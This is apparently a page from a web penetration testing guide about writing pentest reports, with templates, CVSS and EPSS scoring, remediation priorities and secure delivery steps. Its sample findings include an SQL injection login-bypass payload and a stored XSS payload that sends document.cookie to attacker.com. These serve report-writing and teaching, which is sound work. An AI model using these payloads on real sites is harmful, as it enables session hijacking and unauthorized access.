Reporting
The report is the primary deliverable of a penetration test. A well-written report communicates findings clearly to both technical teams and executive stakeholders.
📋 Why Reporting Matters
💡 Pro Tip: A mediocre test with an excellent report is more valuable than an excellent test with a poor report - if findings aren't communicated clearly, they won't get fixed.
🛠️ Reporting Tools
Dradis
Open-source collaboration framework for pentest reporting.
gem install dradis dradisframework.com → CVSS Calculators
Calculate and document vulnerability severity scores (v3.1 & v4.0).
# Web-based calculators FIRST.org v4.0 → FIRST.org v3.1 → Report Structure
Report Sections
1. Executive Summary
A non-technical overview for management and executives. Should be understandable without security expertise.
EXECUTIVE SUMMARY
Engagement Overview
-------------------
[Company Name] engaged [Tester/Firm] to conduct a web application
penetration test of [Application Name] from [Start Date] to [End Date].
Scope
-----
The assessment covered:
- Primary web application: https://app.example.com
- API endpoints: https://api.example.com
- Authentication systems
- [Other scope items]
Key Findings
------------
The assessment identified [X] vulnerabilities:
- Critical: [X]
- High: [X]
- Medium: [X]
- Low: [X]
- Informational: [X]
Notable findings include:
1. [Critical Finding 1] - Risk of [impact]
2. [High Finding 2] - Risk of [impact]
3. [High Finding 3] - Risk of [impact]
Overall Risk Rating: [HIGH/MEDIUM/LOW]
Recommendations
---------------
Immediate actions required:
1. [Action 1]
2. [Action 2]
3. [Action 3]
Conclusion
----------
[Brief statement on overall security posture and urgency of remediation]EXECUTIVE SUMMARY
Engagement Overview
-------------------
[Company Name] engaged [Tester/Firm] to conduct a web application
penetration test of [Application Name] from [Start Date] to [End Date].
Scope
-----
The assessment covered:
- Primary web application: https://app.example.com
- API endpoints: https://api.example.com
- Authentication systems
- [Other scope items]
Key Findings
------------
The assessment identified [X] vulnerabilities:
- Critical: [X]
- High: [X]
- Medium: [X]
- Low: [X]
- Informational: [X]
Notable findings include:
1. [Critical Finding 1] - Risk of [impact]
2. [High Finding 2] - Risk of [impact]
3. [High Finding 3] - Risk of [impact]
Overall Risk Rating: [HIGH/MEDIUM/LOW]
Recommendations
---------------
Immediate actions required:
1. [Action 1]
2. [Action 2]
3. [Action 3]
Conclusion
----------
[Brief statement on overall security posture and urgency of remediation]2. Methodology
METHODOLOGY
Testing Approach
----------------
This assessment was conducted as a [black-box/gray-box/white-box]
penetration test, following industry-standard methodologies including:
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115
Phases
------
1. Reconnaissance
- Passive information gathering
- DNS enumeration
- Technology fingerprinting
2. Scanning
- Port scanning
- Service enumeration
- Vulnerability scanning
3. Exploitation
- Manual vulnerability verification
- Proof-of-concept development
- Impact assessment
4. Post-Exploitation
- Privilege escalation attempts
- Data access verification
- Lateral movement assessment
Tools Used
----------
- Burp Suite Professional
- Nmap
- SQLMap
- Nuclei
- [Other tools]
Limitations
-----------
- Testing was conducted during business hours only
- Denial of Service testing was excluded
- [Other limitations]METHODOLOGY
Testing Approach
----------------
This assessment was conducted as a [black-box/gray-box/white-box]
penetration test, following industry-standard methodologies including:
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115
Phases
------
1. Reconnaissance
- Passive information gathering
- DNS enumeration
- Technology fingerprinting
2. Scanning
- Port scanning
- Service enumeration
- Vulnerability scanning
3. Exploitation
- Manual vulnerability verification
- Proof-of-concept development
- Impact assessment
4. Post-Exploitation
- Privilege escalation attempts
- Data access verification
- Lateral movement assessment
Tools Used
----------
- Burp Suite Professional
- Nmap
- SQLMap
- Nuclei
- [Other tools]
Limitations
-----------
- Testing was conducted during business hours only
- Denial of Service testing was excluded
- [Other limitations]3. Detailed Findings
Each finding should follow a consistent format:
FINDING: SQL Injection in Login Form
=====================================
Severity: CRITICAL
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Component
------------------
URL: https://app.example.com/login
Parameter: username
Method: POST
Description
-----------
A SQL injection vulnerability was identified in the login form's
username parameter. An attacker can inject arbitrary SQL commands
to bypass authentication, extract database contents, or potentially
execute system commands.
Technical Details
-----------------
The following payload was used to confirm the vulnerability:
Request:
POST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything
Response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==
The application accepted the malicious input without sanitization,
resulting in successful authentication bypass.
Impact
------
- Complete authentication bypass
- Full database access (demonstrated extraction of user credentials)
- Potential server-side command execution
- Complete compromise of application and user data
Evidence
--------
[Screenshot: admin_dashboard_access.png]
[Request/Response: sqli_poc.txt]
Remediation
-----------
1. Implement parameterized queries (prepared statements)
2. Use an ORM with built-in SQL injection protection
3. Apply input validation and sanitization
4. Implement Web Application Firewall rules
Code Example (Before/After):
VULNERABLE:
$query = "SELECT * FROM users WHERE username = '" + username + "'";
SECURE:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
References
----------
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.htmlFINDING: SQL Injection in Login Form
=====================================
Severity: CRITICAL
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Component
------------------
URL: https://app.example.com/login
Parameter: username
Method: POST
Description
-----------
A SQL injection vulnerability was identified in the login form's
username parameter. An attacker can inject arbitrary SQL commands
to bypass authentication, extract database contents, or potentially
execute system commands.
Technical Details
-----------------
The following payload was used to confirm the vulnerability:
Request:
POST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything
Response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==
The application accepted the malicious input without sanitization,
resulting in successful authentication bypass.
Impact
------
- Complete authentication bypass
- Full database access (demonstrated extraction of user credentials)
- Potential server-side command execution
- Complete compromise of application and user data
Evidence
--------
[Screenshot: admin_dashboard_access.png]
[Request/Response: sqli_poc.txt]
Remediation
-----------
1. Implement parameterized queries (prepared statements)
2. Use an ORM with built-in SQL injection protection
3. Apply input validation and sanitization
4. Implement Web Application Firewall rules
Code Example (Before/After):
VULNERABLE:
$query = "SELECT * FROM users WHERE username = '" + username + "'";
SECURE:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
References
----------
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.htmlCVSS Scoring
The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate vulnerability severity.
| Score Range | Severity | Description |
|---|---|---|
| 9.0 - 10.0 | Critical | Immediate exploitation likely, severe impact |
| 7.0 - 8.9 | High | Easy to exploit, significant impact |
| 4.0 - 6.9 | Medium | Moderate difficulty or impact |
| 0.1 - 3.9 | Low | Difficult to exploit or minimal impact |
| 0.0 | Informational | Best practice recommendations |
CVSS v3.1 Vector Components
Base Metrics
- AV (Attack Vector): Network/Adjacent/Local/Physical
- AC (Attack Complexity): Low/High
- PR (Privileges Required): None/Low/High
- UI (User Interaction): None/Required
- S (Scope): Unchanged/Changed
- C (Confidentiality): None/Low/High
- I (Integrity): None/Low/High
- A (Availability): None/Low/High
Common CVSS Scores
- Unauthenticated RCE: 9.8
- SQL Injection: 8.6 - 9.8
- Stored XSS: 6.1 - 8.0
- CSRF: 4.3 - 8.0
- Reflected XSS: 6.1
- Missing Security Headers: 0.0 - 3.0
CVSS Calculators
CVSS 4.0 — What Changed
CVSS 4.0 (released November 2023) replaces vendor/consumer terminology with clearer metric groups and removes the "Scope" metric that caused inconsistent scoring.
Key Differences from v3.1
- Scope removed — replaced by explicit Subsequent System impact metrics (VC/VI/VA vs SC/SI/SA)
- Attack Requirements (AT) — replaces some of what AC covered; captures race conditions, specific configs
- New metric groups: Supplemental (Safety, Automatable, Recovery, Value Density, Provider Urgency)
- Finer granularity — Environmental and Threat metrics are refined for contextual scoring
- Naming: "Base" → "Base", but "Temporal" → "Threat", "Environmental" stays
When to Use Which Version
- CVSS 3.1 — still widely expected by most clients; use as primary unless told otherwise
- CVSS 4.0 — offer alongside 3.1 for forward-looking clients; preferred when contractual requirements specify v4
- Dual scoring — for Critical/High findings, provide both vectors to future-proof reports
Example Dual Score
CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N → 8.0 HighCVSS 4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N → 7.4 High EPSS — Exploit Prediction Scoring System
EPSS is a data-driven model (maintained by FIRST.org) that estimates the probability a CVE will be exploited in the wild within the next 30 days. Using EPSS alongside CVSS helps prioritize remediation by real-world exploit likelihood, not just theoretical severity.
| Metric | CVSS | EPSS |
|---|---|---|
| Measures | Intrinsic severity of a vulnerability | Probability of exploitation in the wild |
| Range | 0.0 — 10.0 | 0.0 — 1.0 (probability) + percentile |
| Updates | Fixed once published | Recalculated daily with threat-intel feeds |
| Best for | Communicating severity to stakeholders | Prioritizing remediation order |
Using EPSS in Reports
Remediation Guidance
REMEDIATION PRIORITIES
Immediate (24-48 hours)
-----------------------
[ ] Finding #1: SQL Injection in Login - Implement prepared statements
[ ] Finding #2: Exposed Admin Panel - Restrict access by IP/VPN
Short-term (1-2 weeks)
----------------------
[ ] Finding #3: XSS in Search - Implement output encoding
[ ] Finding #4: Missing CSRF Tokens - Add tokens to all forms
[ ] Finding #5: Weak Password Policy - Enforce complexity requirements
Medium-term (1-3 months)
------------------------
[ ] Finding #6: Outdated Libraries - Update all dependencies
[ ] Finding #7: Missing Security Headers - Configure CSP, HSTS
[ ] Finding #8: Verbose Error Messages - Implement generic errors
Long-term (3-6 months)
----------------------
[ ] Implement WAF
[ ] Security code review process
[ ] Developer security training
[ ] Regular penetration testing scheduleREMEDIATION PRIORITIES
Immediate (24-48 hours)
-----------------------
[ ] Finding #1: SQL Injection in Login - Implement prepared statements
[ ] Finding #2: Exposed Admin Panel - Restrict access by IP/VPN
Short-term (1-2 weeks)
----------------------
[ ] Finding #3: XSS in Search - Implement output encoding
[ ] Finding #4: Missing CSRF Tokens - Add tokens to all forms
[ ] Finding #5: Weak Password Policy - Enforce complexity requirements
Medium-term (1-3 months)
------------------------
[ ] Finding #6: Outdated Libraries - Update all dependencies
[ ] Finding #7: Missing Security Headers - Configure CSP, HSTS
[ ] Finding #8: Verbose Error Messages - Implement generic errors
Long-term (3-6 months)
----------------------
[ ] Implement WAF
[ ] Security code review process
[ ] Developer security training
[ ] Regular penetration testing scheduleCommon Remediation Recommendations
| Vulnerability | Primary Remediation | Defense in Depth |
|---|---|---|
| SQL Injection | Parameterized queries | WAF, input validation, least privilege DB |
| XSS | Output encoding | CSP headers, input validation |
| CSRF | Anti-CSRF tokens | SameSite cookies, referer validation |
| Auth Bypass | Proper access controls | MFA, session management, audit logging |
| File Upload | Whitelist file types | Separate domain, virus scanning, no execution |
| SSRF | Input validation | Network segmentation, egress filtering |
Appendices
What to Include
Appendix A: Raw Data
- • Nmap scan results
- • Vulnerability scanner output
- • Tool configuration files
Appendix B: Evidence
- • Screenshots (numbered)
- • HTTP requests/responses
- • Proof-of-concept code
Appendix C: References
- • OWASP resources
- • CVE references
- • CWE identifiers
Appendix D: Glossary
- • Technical terms defined
- • Acronyms explained
- • CVSS methodology
Report Delivery
REPORT DELIVERY CHECKLIST
Before Delivery
---------------
[ ] Spell check and grammar review
[ ] Technical accuracy verification
[ ] Screenshot quality check
[ ] CVSS scores validated
[ ] Sensitive data redacted appropriately
[ ] PDF generated with restricted permissions
Secure Transmission
-------------------
[ ] Encrypt report (GPG/PGP or password-protected PDF)
[ ] Use secure file transfer (encrypted portal, SFTP)
[ ] Send password via separate channel
[ ] Confirm recipient authorized to receive
After Delivery
--------------
[ ] Schedule findings walkthrough meeting
[ ] Offer Q&A session with technical team
[ ] Discuss remediation priorities
[ ] Set retest date if applicable
[ ] Archive engagement files securelyREPORT DELIVERY CHECKLIST
Before Delivery
---------------
[ ] Spell check and grammar review
[ ] Technical accuracy verification
[ ] Screenshot quality check
[ ] CVSS scores validated
[ ] Sensitive data redacted appropriately
[ ] PDF generated with restricted permissions
Secure Transmission
-------------------
[ ] Encrypt report (GPG/PGP or password-protected PDF)
[ ] Use secure file transfer (encrypted portal, SFTP)
[ ] Send password via separate channel
[ ] Confirm recipient authorized to receive
After Delivery
--------------
[ ] Schedule findings walkthrough meeting
[ ] Offer Q&A session with technical team
[ ] Discuss remediation priorities
[ ] Set retest date if applicable
[ ] Archive engagement files securelySample Finding Write-ups
FINDING: Stored Cross-Site Scripting in User Comments
=====================================================
Severity: HIGH
CVSS Score: 8.0
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Affected Component
------------------
URL: https://app.example.com/posts/[id]/comments
Parameter: comment_body (POST)
Description
-----------
User-submitted comments are stored in the database and rendered
without proper output encoding, allowing attackers to inject
malicious JavaScript that executes in other users' browsers.
Technical Details
-----------------
Payload submitted:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
When another user views the page containing this comment, the
script executes and sends their session cookie to the attacker.
Impact
------
- Session hijacking of any user viewing the malicious comment
- Account takeover
- Malware distribution
- Defacement
Evidence
--------
[Screenshot: xss_payload_stored.png]
[Screenshot: cookie_received_attacker_server.png]
Remediation
-----------
1. Implement output encoding for all user-generated content
2. Use Content Security Policy (CSP) headers
3. Set HttpOnly flag on session cookies
4. Consider using a HTML sanitization library
Example Fix:
// Instead of:
element.innerHTML = userComment;
// Use:
element.textContent = userComment;
// Or with HTML allowed:
element.innerHTML = DOMPurify.sanitize(userComment);FINDING: Stored Cross-Site Scripting in User Comments
=====================================================
Severity: HIGH
CVSS Score: 8.0
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Affected Component
------------------
URL: https://app.example.com/posts/[id]/comments
Parameter: comment_body (POST)
Description
-----------
User-submitted comments are stored in the database and rendered
without proper output encoding, allowing attackers to inject
malicious JavaScript that executes in other users' browsers.
Technical Details
-----------------
Payload submitted:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
When another user views the page containing this comment, the
script executes and sends their session cookie to the attacker.
Impact
------
- Session hijacking of any user viewing the malicious comment
- Account takeover
- Malware distribution
- Defacement
Evidence
--------
[Screenshot: xss_payload_stored.png]
[Screenshot: cookie_received_attacker_server.png]
Remediation
-----------
1. Implement output encoding for all user-generated content
2. Use Content Security Policy (CSP) headers
3. Set HttpOnly flag on session cookies
4. Consider using a HTML sanitization library
Example Fix:
// Instead of:
element.innerHTML = userComment;
// Use:
element.textContent = userComment;
// Or with HTML allowed:
element.innerHTML = DOMPurify.sanitize(userComment);Report Quality
📖 Report Templates & Resources
Public Pentest Reports
Collection of real-world pentest reports for reference
OSCP Report Templates
Offensive Security sample report formats
CVSS 4.0 Calculator
Official FIRST CVSS v4.0 scoring calculator
EPSS Dashboard
Exploit Prediction Scoring System — daily exploit probability scores
CWE Database
Common Weakness Enumeration for consistent categorization
👥 Audience-Specific Report Templates
Different stakeholders need different levels of detail. Produce separate deliverables for each audience:
📊 CxO Executive Summary
- • 1-2 pages maximum
- • Business risk language, not technical
- • Financial impact estimates
- • Risk heat map (visual)
- • Top 3-5 findings only
- • Compliance implications
- • Strategic recommendations
- • Trend comparison (if repeat engagement)
🔧 Developer Technical Report
- • Full vulnerability details
- • Exact reproduction steps
- • Vulnerable code snippets
- • Secure code fix examples
- • Library-specific remediation
- • CWE/CVE references
- • Automated testing integration
- • Regression test suggestions
🛡️ Security Operations Report
- • Detection signatures (YARA/Sigma)
- • IOCs from testing
- • WAF/IDS rule recommendations
- • Monitoring gaps identified
- • Log analysis findings
- • Alert tuning suggestions
- • Incident response playbook updates
- • Attack path diagrams
💰 Financial Impact Estimation
Information
FINANCIAL IMPACT ESTIMATION FRAMEWORK
=====================================
1. DATA BREACH COST (per IBM Cost of a Data Breach Report 2024)
Average cost per record: $165 (varies by industry)
Healthcare: $408/record | Financial: $309/record | Tech: $174/record
Example: SQL injection exposing 50,000 user records
Estimated cost: 50,000 × $165 = $8,250,000
+ Notification costs: ~$200,000
+ Legal/regulatory fines: varies (see regulatory section)
+ Brand damage: 2-5% revenue impact for 12-18 months
2. DOWNTIME/AVAILABILITY IMPACT
Average cost of IT downtime: $5,600/minute (Gartner)
Example: RCE vulnerability enabling ransomware
24-hour outage = $5,600 × 1,440 = $8,064,000
+ Recovery costs: $500K-$5M (depending on backup maturity)
3. REGULATORY PENALTIES
GDPR: Up to €20M or 4% of annual global revenue
PCI-DSS: $5,000-$100,000/month until compliant
HIPAA: $100-$50,000 per violation (max $1.5M/year/category)
SOX: Personal liability for executives; up to $5M fine
4. CALCULATION TEMPLATE
Annualized Loss Expectancy (ALE) = Single Loss Expectancy × Annual Rate of Occurrence
SLE = Asset Value × Exposure Factor
Example: Critical auth bypass
Asset value: $10M (customer database)
Exposure factor: 80% (full data exposure)
SLE = $10M × 0.8 = $8M
ARO = 0.3 (30% chance of exploitation per year)
ALE = $8M × 0.3 = $2.4M/yearFINANCIAL IMPACT ESTIMATION FRAMEWORK
=====================================
1. DATA BREACH COST (per IBM Cost of a Data Breach Report 2024)
Average cost per record: $165 (varies by industry)
Healthcare: $408/record | Financial: $309/record | Tech: $174/record
Example: SQL injection exposing 50,000 user records
Estimated cost: 50,000 × $165 = $8,250,000
+ Notification costs: ~$200,000
+ Legal/regulatory fines: varies (see regulatory section)
+ Brand damage: 2-5% revenue impact for 12-18 months
2. DOWNTIME/AVAILABILITY IMPACT
Average cost of IT downtime: $5,600/minute (Gartner)
Example: RCE vulnerability enabling ransomware
24-hour outage = $5,600 × 1,440 = $8,064,000
+ Recovery costs: $500K-$5M (depending on backup maturity)
3. REGULATORY PENALTIES
GDPR: Up to €20M or 4% of annual global revenue
PCI-DSS: $5,000-$100,000/month until compliant
HIPAA: $100-$50,000 per violation (max $1.5M/year/category)
SOX: Personal liability for executives; up to $5M fine
4. CALCULATION TEMPLATE
Annualized Loss Expectancy (ALE) = Single Loss Expectancy × Annual Rate of Occurrence
SLE = Asset Value × Exposure Factor
Example: Critical auth bypass
Asset value: $10M (customer database)
Exposure factor: 80% (full data exposure)
SLE = $10M × 0.8 = $8M
ARO = 0.3 (30% chance of exploitation per year)
ALE = $8M × 0.3 = $2.4M/year⚖️ Regulatory Context Mapping
Map findings to specific regulatory requirements to add urgency and compliance context:
| Finding Type | PCI-DSS 4.0 | HIPAA | SOC 2 | GDPR |
|---|---|---|---|---|
| SQL Injection | Req 6.2.4 | §164.312(a) | CC6.1 | Art. 32(1) |
| XSS | Req 6.2.4 | §164.312(a) | CC6.1 | Art. 32(1) |
| Weak Auth/MFA | Req 8.4, 8.5 | §164.312(d) | CC6.1, CC6.2 | Art. 32(1)(b) |
| Weak Encryption | Req 4.2 | §164.312(e) | CC6.7 | Art. 32(1)(a) |
| Missing Logging | Req 10.2, 10.3 | §164.312(b) | CC7.2 | Art. 33, 34 |
| Broken Access Control | Req 7.2 | §164.312(a)(1) | CC6.3 | Art. 25, 32 |
| Vulnerable Components | Req 6.3 | §164.308(a)(1) | CC7.1 | Art. 32(1)(d) |
🔗 Finding Chain Documentation
Individual medium-severity findings can chain into critical impact scenarios. Document these attack chains clearly:
ATTACK CHAIN DOCUMENTATION TEMPLATE
====================================
Chain Title: Account Takeover via XSS + CSRF
Combined Severity: CRITICAL (individual findings: Medium + Medium = Critical chain)
Step 1: Stored XSS in User Profile (Medium - CVSS 6.1)
→ Attacker injects JavaScript payload in "About Me" field
Step 2: CSRF on Password Change (Medium - CVSS 6.5)
→ Password change endpoint lacks anti-CSRF token
Chain: XSS payload triggers CSRF password change for any user
who views the attacker's profile
→ Combined impact: Full account takeover of any user (Critical)
CHAIN IMPACT ASSESSMENT:
- Likelihood: HIGH (both vulns easily exploitable, no interaction beyond page view)
- Impact: CRITICAL (mass account takeover, PII exposure)
- Combined CVSS: 9.6 (vs individual 6.1 + 6.5)
ANOTHER EXAMPLE:
Information Disclosure + SSRF = Internal Network Compromise
Step 1: Debug endpoint leaks internal IP ranges (Info - CVSS 5.3)
Step 2: SSRF via PDF generation (High - CVSS 7.5)
Chain: Use leaked IPs to target internal services via SSRF
→ Combined: Access to internal admin panels, databases (Critical - CVSS 9.8)ATTACK CHAIN DOCUMENTATION TEMPLATE
====================================
Chain Title: Account Takeover via XSS + CSRF
Combined Severity: CRITICAL (individual findings: Medium + Medium = Critical chain)
Step 1: Stored XSS in User Profile (Medium - CVSS 6.1)
→ Attacker injects JavaScript payload in "About Me" field
Step 2: CSRF on Password Change (Medium - CVSS 6.5)
→ Password change endpoint lacks anti-CSRF token
Chain: XSS payload triggers CSRF password change for any user
who views the attacker's profile
→ Combined impact: Full account takeover of any user (Critical)
CHAIN IMPACT ASSESSMENT:
- Likelihood: HIGH (both vulns easily exploitable, no interaction beyond page view)
- Impact: CRITICAL (mass account takeover, PII exposure)
- Combined CVSS: 9.6 (vs individual 6.1 + 6.5)
ANOTHER EXAMPLE:
Information Disclosure + SSRF = Internal Network Compromise
Step 1: Debug endpoint leaks internal IP ranges (Info - CVSS 5.3)
Step 2: SSRF via PDF generation (High - CVSS 7.5)
Chain: Use leaked IPs to target internal services via SSRF
→ Combined: Access to internal admin panels, databases (Critical - CVSS 9.8)📸 Evidence Quality Standards
✅ Good Evidence
- • Full HTTP request/response in Burp (no truncation)
- • Timestamps on all screenshots
- • Browser URL bar visible in screenshots
- • Proof of impact (not just detection)
- • Unique identifiers for test accounts used
- • curl commands that reproduce the issue
- • Video recording for complex multi-step chains
- • Sensitive data redacted (PII, real passwords)
❌ Bad Evidence
- • Scanner output with no manual verification
- • Cropped screenshots missing context
- • "Trust me" descriptions without proof
- • Attacker IP/hostname visible in screenshots
- • Un-redacted production PII/credentials
- • Blurry or low-resolution screenshots
- • Evidence from wrong environment (staging vs prod)
- • Outdated evidence from earlier testing phase
Warning
🔒 Report Delivery Security
Classification & Handling
- • Mark reports CONFIDENTIAL on every page
- • Include "For authorized recipients only" header
- • Add distribution list in cover page
- • Specify retention period (typically 1-3 years)
- • Define destruction procedure after retention
Secure Transmission
- • Encrypt PDFs with AES-256 (password shared out-of-band)
- • Use PGP/GPG for email delivery
- • Prefer secure file-sharing platforms (not plain email)
- • Never send via unencrypted channels
- • Confirm receipt with authorized contact
# Encrypt report PDF with GPG
gpg --output report-encrypted.pdf.gpg --encrypt --recipient client@company.com report.pdf
# Password-protect PDF with qpdf
qpdf --encrypt "STRONG_PASSWORD" "OWNER_PASSWORD" 256 -- report.pdf report-encrypted.pdf
# Generate SHA-256 hash for integrity verification
sha256sum report-encrypted.pdf > report-encrypted.pdf.sha256
# Send hash via separate channel so client can verify integrity# Encrypt report PDF with GPG
gpg --output report-encrypted.pdf.gpg --encrypt --recipient client@company.com report.pdf
# Password-protect PDF with qpdf
qpdf --encrypt "STRONG_PASSWORD" "OWNER_PASSWORD" 256 -- report.pdf report-encrypted.pdf
# Generate SHA-256 hash for integrity verification
sha256sum report-encrypted.pdf > report-encrypted.pdf.sha256
# Send hash via separate channel so client can verify integrity🎉 Web Pentest Guide Complete!
You've completed the comprehensive Web Penetration Testing guide. Consider exploring the Internal Penetration Testing guide or check out the Tool Cheatsheets for quick reference materials.
Related Topics
Post-Exploitation
Evidence collection and impact assessment
Report Templates
Ready-to-use pentest report templates
Remediation Guidance
Fix recommendations for common vulnerabilities
API Pentesting
Reporting API-specific vulnerabilities
Source Code Review
SAST findings and code-level evidence
Tools Reference
Complete tools listing